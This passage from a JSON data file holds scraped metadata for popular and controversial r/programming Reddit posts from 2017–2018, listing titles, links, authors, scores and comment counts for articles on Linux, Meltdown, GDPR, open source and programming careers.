    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8nrxve",
  "url": "https://www.zdnet.com/article/tesla-starts-to-release-its-cars-open-source-linux-software-code/",
  "permalink": "https://www.reddit.com/r/programming/comments/8nrxve/tesla_starts_to_release_its_cars_opensource_linux/",
  "title": "​Tesla starts to release its cars' open-source Linux software code",
  "body": null,
  "author": "twiggy99999",
  "subreddit": "programming",
  "score": 3215,
  "upvoteRatio": 0.92,
  "numComments": 367,
  "createdAt": "2018-06-01T13:37:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/tesla-starts-to-release-its-cars-open-source-linux-software-code/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8m5t3i",
  "url": "https://apility.io/2018/05/25/gdpr-lazy-block-european-users-cloudflare-workers/",
  "permalink": "https://www.reddit.com/r/programming/comments/8m5t3i/gdpr_for_lazy_people_block_all_european_users/",
  "title": "GDPR for lazy people: Block all European users with Cloudflare Workers - Apility.io",
  "body": null,
  "author": "adnzzzzZ",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 19,
  "createdAt": "2018-05-25T22:46:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://apility.io/2018/05/25/gdpr-lazy-block-european-users-cloudflare-workers/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8lrqe5",
  "url": "https://medium.com/@fagnerbrack/the-day-a-bug-was-fixed-only-because-the-ceo-called-in-f653a34079eb",
  "permalink": "https://www.reddit.com/r/programming/comments/8lrqe5/the_day_a_bug_was_fixed_only_because_the_ceo/",
  "title": "The Day A Bug Was Fixed Only Because The CEO Called In",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 101,
  "createdAt": "2018-05-24T10:59:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@fagnerbrack/the-day-a-bug-was-fixed-only-because-the-ceo-called-in-f653a34079eb",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8kd7r9",
  "url": "https://www.quora.com/What-is-the-most-sophisticated-piece-of-software-code-ever-written/answer/John-Byrd-2",
  "permalink": "https://www.reddit.com/r/programming/comments/8kd7r9/the_most_sophisticated_piece_of_softwarecode_ever/",
  "title": "The most sophisticated piece of software/code ever written",
  "body": null,
  "author": "jailbird",
  "subreddit": "programming",
  "score": 9674,
  "upvoteRatio": 0.95,
  "numComments": 840,
  "createdAt": "2018-05-18T13:36:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.quora.com/What-is-the-most-sophisticated-piece-of-software-code-ever-written/answer/John-Byrd-2",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8j0gz3",
  "url": "https://github.com/danistefanovic/build-your-own-x",
  "permalink": "https://www.reddit.com/r/programming/comments/8j0gz3/build_your_own_x/",
  "title": "Build your own X",
  "body": null,
  "author": "FollowSteph",
  "subreddit": "programming",
  "score": 4188,
  "upvoteRatio": 0.95,
  "numComments": 205,
  "createdAt": "2018-05-13T01:12:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/danistefanovic/build-your-own-x",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8ieetv",
  "url": "https://www.yegor256.com/2018/05/08/open-source-attributes.html",
  "permalink": "https://www.reddit.com/r/programming/comments/8ieetv/an_open_code_base_is_not_yet_an_open_source/",
  "title": "An Open Code Base Is Not Yet an Open Source Project",
  "body": null,
  "author": "yegor256",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.51,
  "numComments": 32,
  "createdAt": "2018-05-10T12:15:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.yegor256.com/2018/05/08/open-source-attributes.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8hylve",
  "url": "https://blogs.msdn.microsoft.com/commandline/2018/05/08/extended-eol-in-notepad/",
  "permalink": "https://www.reddit.com/r/programming/comments/8hylve/windows_notepad_will_soon_have_unix_line_ending/",
  "title": "Windows Notepad will soon have Unix line ending support",
  "body": null,
  "author": "Twistedsc",
  "subreddit": "programming",
  "score": 4614,
  "upvoteRatio": 0.96,
  "numComments": 688,
  "createdAt": "2018-05-08T17:35:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blogs.msdn.microsoft.com/commandline/2018/05/08/extended-eol-in-notepad/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8f2lzu",
  "url": "https://www.joelonsoftware.com/2000/04/06/things-you-should-never-do-part-i/",
  "permalink": "https://www.reddit.com/r/programming/comments/8f2lzu/theres_a_reason_that_programmers_always_want_to/",
  "title": "There’s a reason that programmers always want to throw away old code and start over: they think the old code is a mess. They are probably wrong. The reason that they think the old code is a mess is because of a cardinal, fundamental law of programming: It’s harder to read code than to write it.",
  "body": null,
  "author": "the_phet",
  "subreddit": "programming",
  "score": 26952,
  "upvoteRatio": 0.94,
  "numComments": 1067,
  "createdAt": "2018-04-26T13:24:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.joelonsoftware.com/2000/04/06/things-you-should-never-do-part-i/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8eticv",
  "url": "https://blogs.microsoft.com/ai/microsoft-professional-program-ai/",
  "permalink": "https://www.reddit.com/r/programming/comments/8eticv/aiming_to_fill_skill_gaps_in_ai_microsoft_makes/",
  "title": "Aiming to fill skill gaps in AI, Microsoft makes training courses available to the public",
  "body": null,
  "author": "magenta_placenta",
  "subreddit": "programming",
  "score": 3282,
  "upvoteRatio": 0.95,
  "numComments": 282,
  "createdAt": "2018-04-25T13:22:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blogs.microsoft.com/ai/microsoft-professional-program-ai/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8cn9ef",
  "url": "https://sourceforge.net/p/sevenzip/discussion/45797/thread/e730c709/",
  "permalink": "https://www.reddit.com/r/programming/comments/8cn9ef/7zip_exposes_a_bug_in_windowss_large_memory_pages/",
  "title": "7-Zip exposes a bug in Windows's large memory pages. Causes data corruption and crashes in Windows and other programs.",
  "body": null,
  "author": "tambry",
  "subreddit": "programming",
  "score": 5483,
  "upvoteRatio": 0.96,
  "numComments": 368,
  "createdAt": "2018-04-16T12:49:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sourceforge.net/p/sevenzip/discussion/45797/thread/e730c709/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_89cq6f",
  "url": "https://medium.com/@djhoulihan/no-panera-bread-doesnt-take-security-seriously-bf078027f815",
  "permalink": "https://www.reddit.com/r/programming/comments/89cq6f/no_panera_bread_doesnt_take_security_seriously/",
  "title": "No, Panera Bread doesn't take security seriously",
  "body": null,
  "author": "DevOrc",
  "subreddit": "programming",
  "score": 8028,
  "upvoteRatio": 0.96,
  "numComments": 594,
  "createdAt": "2018-04-03T11:28:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@djhoulihan/no-panera-bread-doesnt-take-security-seriously-bf078027f815",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_88sfa1",
  "url": "https://blog.cloudflare.com/announcing-1111/",
  "permalink": "https://www.reddit.com/r/programming/comments/88sfa1/announcing_1111_the_fastest_privacyfirst_consumer/",
  "title": "Announcing 1.1.1.1: the fastest, privacy-first consumer DNS service",
  "body": null,
  "author": "Mittalmailbox",
  "subreddit": "programming",
  "score": 4275,
  "upvoteRatio": 0.96,
  "numComments": 571,
  "createdAt": "2018-04-01T17:24:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.cloudflare.com/announcing-1111/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_86j3ps",
  "url": "https://github.com/samkhawse/OpenStreetAmenities",
  "permalink": "https://www.reddit.com/r/programming/comments/86j3ps/i_made_a_simple_ios_app_that_fetches_the/",
  "title": "I made a simple iOS app that fetches the crowd-sourced data from OpenStreetMaps, and shows toilets within walking distance. 🚽",
  "body": null,
  "author": "flyingsnake",
  "subreddit": "programming",
  "score": 5686,
  "upvoteRatio": 0.94,
  "numComments": 219,
  "createdAt": "2018-03-23T08:30:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/samkhawse/OpenStreetAmenities",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_868bx3",
  "url": "https://www.reddit.com/r/programming?bypass",
  "permalink": "https://www.reddit.com/r/programming/comments/868bx3/rprogramming_hits_1_million_subs/",
  "title": "/r/programming hits 1 million subs",
  "body": null,
  "author": "ckdarby",
  "subreddit": "programming",
  "score": 4235,
  "upvoteRatio": 0.91,
  "numComments": 316,
  "createdAt": "2018-03-22T02:50:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.reddit.com/r/programming?bypass",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_8530uf",
  "url": "https://idea-instructions.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/8530uf/cool_website_that_explains_algorithms_as_if_they/",
  "title": "Cool website that explains algorithms as if they are IKEA instruction manuals",
  "body": null,
  "author": "TheSpaceOfAdes",
  "subreddit": "programming",
  "score": 19212,
  "upvoteRatio": 0.94,
  "numComments": 235,
  "createdAt": "2018-03-17T10:49:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://idea-instructions.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_84607r",
  "url": "https://community.letsencrypt.org/t/acme-v2-and-wildcard-certificate-support-is-live/55579",
  "permalink": "https://www.reddit.com/r/programming/comments/84607r/lets_encrypt_releases_support_for_wildcard/",
  "title": "Let's Encrypt releases support for wildcard certificates",
  "body": null,
  "author": "Ajedi32",
  "subreddit": "programming",
  "score": 5078,
  "upvoteRatio": 0.96,
  "numComments": 351,
  "createdAt": "2018-03-13T17:31:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://community.letsencrypt.org/t/acme-v2-and-wildcard-certificate-support-is-live/55579",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_83uvs6",
  "url": "https://mzucker.github.io/2016/09/20/noteshrink.html",
  "permalink": "https://www.reddit.com/r/programming/comments/83uvs6/compressing_and_enhancing_handwritten_notes/",
  "title": "Compressing and enhancing hand-written notes",
  "body": null,
  "author": "EternalNY1",
  "subreddit": "programming",
  "score": 4194,
  "upvoteRatio": 0.97,
  "numComments": 222,
  "createdAt": "2018-03-12T13:18:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mzucker.github.io/2016/09/20/noteshrink.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_81exa9",
  "url": "https://insights.dice.com/2018/03/01/hackterms-urban-dictionary-tech-pros/",
  "permalink": "https://www.reddit.com/r/programming/comments/81exa9/i_built_hackterms_an_urban_dictionary_for_coding/",
  "title": "I built Hackterms, an Urban Dictionary for coding terms, to help connect the dots while learning - and we're picking up steam! Want to help?",
  "body": null,
  "author": "maxverse",
  "subreddit": "programming",
  "score": 5361,
  "upvoteRatio": 0.93,
  "numComments": 234,
  "createdAt": "2018-03-02T15:17:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://insights.dice.com/2018/03/01/hackterms-urban-dictionary-tech-pros/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_80whkc",
  "url": "https://mtlynch.io/why-i-quit-google/",
  "permalink": "https://www.reddit.com/r/programming/comments/80whkc/why_i_quit_google_to_work_for_myself/",
  "title": "Why I Quit Google to Work for Myself",
  "body": null,
  "author": "mtlynch",
  "subreddit": "programming",
  "score": 4992,
  "upvoteRatio": 0.93,
  "numComments": 942,
  "createdAt": "2018-02-28T14:38:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mtlynch.io/why-i-quit-google/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_80jykv",
  "url": "https://medium.com/maker-to-manager/a-wake-up-call-for-tech-managers-d0415775efd0",
  "permalink": "https://www.reddit.com/r/programming/comments/80jykv/too_many_coders_work_in_environments_where_they/",
  "title": "Too many coders work in environments where they are treated as idiot savants",
  "body": null,
  "author": "marcuscreo",
  "subreddit": "programming",
  "score": 3463,
  "upvoteRatio": 0.95,
  "numComments": 949,
  "createdAt": "2018-02-27T05:29:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/maker-to-manager/a-wake-up-call-for-tech-managers-d0415775efd0",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7yb6cx",
  "url": "https://dev.to/ben/its-perfectly-fine-to-only-code-at-work-dont-let-anyone-tell-you-otherwise--25i3",
  "permalink": "https://www.reddit.com/r/programming/comments/7yb6cx/its_perfectly_fine_to_only_code_at_work_dont_let/",
  "title": "It's perfectly fine to only code at work, don't let anyone tell you otherwise",
  "body": null,
  "author": "gregbaugues",
  "subreddit": "programming",
  "score": 7246,
  "upvoteRatio": 0.93,
  "numComments": 1105,
  "createdAt": "2018-02-18T01:43:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dev.to/ben/its-perfectly-fine-to-only-code-at-work-dont-let-anyone-tell-you-otherwise--25i3",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7vsl1u",
  "url": "https://github.com/kelseyhightower/nocode",
  "permalink": "https://www.reddit.com/r/programming/comments/7vsl1u/the_best_way_to_write_secure_and_reliable/",
  "title": "The best way to write secure and reliable applications. Write nothing; deploy nowhere.",
  "body": null,
  "author": "kindermoumoute",
  "subreddit": "programming",
  "score": 3080,
  "upvoteRatio": 0.9,
  "numComments": 192,
  "createdAt": "2018-02-07T01:46:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/kelseyhightower/nocode",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7v09x2",
  "url": "https://motherboard.vice.com/en_us/article/kzpqzz/heres-the-solution-to-the-3-year-old-dollar50000-bitcoin-puzzle",
  "permalink": "https://www.reddit.com/r/programming/comments/7v09x2/heres_the_solution_to_the_3_year_old_50000/",
  "title": "\"Here’s the Solution to the 3 Year Old, $50,000 Bitcoin Puzzle\". How one programmer cracked the private key to a Bitcoin wallet hidden in a painting.",
  "body": null,
  "author": "DanteShamest",
  "subreddit": "programming",
  "score": 2948,
  "upvoteRatio": 0.94,
  "numComments": 108,
  "createdAt": "2018-02-03T16:27:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://motherboard.vice.com/en_us/article/kzpqzz/heres-the-solution-to-the-3-year-old-dollar50000-bitcoin-puzzle",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7uosax",
  "url": "https://www.youtube.com/watch?v=F8JCh0owT4w",
  "permalink": "https://www.reddit.com/r/programming/comments/7uosax/tractor_hacking_the_farmers_breaking_big_techs/",
  "title": "Tractor Hacking: The Farmers Breaking Big Tech's Repair Monopoly",
  "body": null,
  "author": "sivscripts",
  "subreddit": "programming",
  "score": 5046,
  "upvoteRatio": 0.95,
  "numComments": 396,
  "createdAt": "2018-02-02T04:16:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=F8JCh0owT4w",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7ua89s",
  "url": "https://medium.com/@DuroSoft/why-crystal-is-the-most-promising-programming-language-of-2018-aad669d8344f",
  "permalink": "https://www.reddit.com/r/programming/comments/7ua89s/why_crystal_is_the_most_promising_programming/",
  "title": "Why Crystal is the most promising programming language of 2018",
  "body": null,
  "author": "sdogruyol",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.51,
  "numComments": 53,
  "createdAt": "2018-01-31T14:25:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@DuroSoft/why-crystal-is-the-most-promising-programming-language-of-2018-aad669d8344f",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7sr3c9",
  "url": "https://medium.com/@steve.yegge/why-i-left-google-to-join-grab-86dfffc0be84",
  "permalink": "https://www.reddit.com/r/programming/comments/7sr3c9/why_i_left_google_to_join_grab_steve_yegge_medium/",
  "title": "Why I left Google to join Grab – Steve Yegge – Medium",
  "body": null,
  "author": "dabshitty",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.51,
  "numComments": 98,
  "createdAt": "2018-01-24T22:35:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@steve.yegge/why-i-left-google-to-join-grab-86dfffc0be84",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7sec31",
  "url": "https://thenextweb.com/dd/2018/01/23/report-80s-kids-started-programming-at-an-earlier-age-than-todays-millennials/",
  "permalink": "https://www.reddit.com/r/programming/comments/7sec31/80s_kids_started_programming_at_an_earlier_age/",
  "title": "80's kids started programming at an earlier age than today's millennials",
  "body": null,
  "author": "jakdak",
  "subreddit": "programming",
  "score": 5284,
  "upvoteRatio": 0.88,
  "numComments": 1333,
  "createdAt": "2018-01-23T13:22:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thenextweb.com/dd/2018/01/23/report-80s-kids-started-programming-at-an-earlier-age-than-todays-millennials/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7ru3ov",
  "url": "https://gkbrk.com/2016/05/hotel-music/",
  "permalink": "https://www.reddit.com/r/programming/comments/7ru3ov/reverse_engineering_a_mysterious_udp_stream_in_my/",
  "title": "Reverse Engineering A Mysterious UDP Stream in My Hotel · Gokberk Yaltirakli",
  "body": null,
  "author": "JamesBCrazy",
  "subreddit": "programming",
  "score": 3279,
  "upvoteRatio": 0.93,
  "numComments": 197,
  "createdAt": "2018-01-20T23:47:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gkbrk.com/2016/05/hotel-music/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7rrtgt",
  "url": "https://github.com/relativty/Relativ",
  "permalink": "https://www.reddit.com/r/programming/comments/7rrtgt/im_16_and_i_built_a_vr_headset_from_scratch/",
  "title": "I'm 16 and I built a VR headset from scratch",
  "body": null,
  "author": "Maxime-coutte",
  "subreddit": "programming",
  "score": 57,
  "upvoteRatio": 0.55,
  "numComments": 63,
  "createdAt": "2018-01-20T17:43:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/relativty/Relativ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7rc3z9",
  "url": "http://blog.getbootstrap.com/2018/01/18/bootstrap-4/",
  "permalink": "https://www.reddit.com/r/programming/comments/7rc3z9/bootstrap_4_released/",
  "title": "Bootstrap 4 released",
  "body": null,
  "author": "redditthinks",
  "subreddit": "programming",
  "score": 2927,
  "upvoteRatio": 0.93,
  "numComments": 385,
  "createdAt": "2018-01-18T19:13:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.getbootstrap.com/2018/01/18/bootstrap-4/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7qv7pu",
  "url": "https://stackoverflow.com/questions/48270127/can-a-1-a-2-a-3-ever-evaluate-to-true",
  "permalink": "https://www.reddit.com/r/programming/comments/7qv7pu/javascript_can_a_1_a_2_a3_ever_evaluate_to_true/",
  "title": "Javascript: Can (a ==1 && a== 2 && a==3) ever evaluate to true?",
  "body": null,
  "author": "KarlKani44",
  "subreddit": "programming",
  "score": 3326,
  "upvoteRatio": 0.93,
  "numComments": 945,
  "createdAt": "2018-01-16T20:21:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stackoverflow.com/questions/48270127/can-a-1-a-2-a-3-ever-evaluate-to-true",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7pehi9",
  "url": "https://doublepulsar.com/important-information-about-microsoft-meltdown-cpu-security-fixes-antivirus-vendors-and-you-a852ba0292ec",
  "permalink": "https://www.reddit.com/r/programming/comments/7pehi9/some_antivirus_vendors_are_using_techniques_to/",
  "title": "\"Some anti-virus vendors are using techniques to bypass Kernel Patch Protection by injecting a hypervisor which they use to intercept syscalls and make assumptions about memory locations — memory locations which are now changing with the Meltdown fixes.\"",
  "body": null,
  "author": "dzamir",
  "subreddit": "programming",
  "score": 3343,
  "upvoteRatio": 0.95,
  "numComments": 553,
  "createdAt": "2018-01-10T09:22:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://doublepulsar.com/important-information-about-microsoft-meltdown-cpu-security-fixes-antivirus-vendors-and-you-a852ba0292ec",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7p7s8q",
  "url": "https://medium.com/@caspervonb/electron-is-cancer-b066108e6c32",
  "permalink": "https://www.reddit.com/r/programming/comments/7p7s8q/electron_is_cancer/",
  "title": "Electron is Cancer",
  "body": null,
  "author": "bluepandacode",
  "subreddit": "programming",
  "score": 1058,
  "upvoteRatio": 0.64,
  "numComments": 1511,
  "createdAt": "2018-01-09T15:28:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@caspervonb/electron-is-cancer-b066108e6c32",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7omh1n",
  "url": "https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5",
  "permalink": "https://www.reddit.com/r/programming/comments/7omh1n/im_harvesting_credit_card_numbers_and_passwords/",
  "title": "I’m harvesting credit card numbers and passwords from your site. Here’s how.",
  "body": null,
  "author": "FUZxxl",
  "subreddit": "programming",
  "score": 6808,
  "upvoteRatio": 0.93,
  "numComments": 595,
  "createdAt": "2018-01-06T22:27:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7o203z",
  "url": "https://lkml.org/lkml/2018/1/3/797",
  "permalink": "https://www.reddit.com/r/programming/comments/7o203z/linus_torvalds_i_think_somebody_inside_of_intel/",
  "title": "Linus Torvalds: I think somebody inside of Intel needs to really take a long hard look at their CPU's, and actually admit that they have issues instead of writing PR blurbs that say that everything works as designed.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 18268,
  "upvoteRatio": 0.94,
  "numComments": 1547,
  "createdAt": "2018-01-04T09:52:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lkml.org/lkml/2018/1/3/797",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7nsh9o",
  "url": "https://www.theregister.co.uk/2018/01/02/intel_cpu_design_flaw/",
  "permalink": "https://www.reddit.com/r/programming/comments/7nsh9o/kernel_memory_leaking_intel_processor_design_flaw/",
  "title": "'Kernel memory leaking' Intel processor design flaw forces Linux, Windows redesign",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 5926,
  "upvoteRatio": 0.96,
  "numComments": 1082,
  "createdAt": "2018-01-03T05:13:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.co.uk/2018/01/02/intel_cpu_design_flaw/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7mem9h",
  "url": "https://wiki.theory.org/index.php/YourLanguageSucks",
  "permalink": "https://www.reddit.com/r/programming/comments/7mem9h/why_your_programming_language_sucks/",
  "title": "Why your Programming Language Sucks",
  "body": null,
  "author": "Sunapr1",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.54,
  "numComments": 174,
  "createdAt": "2017-12-27T11:56:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
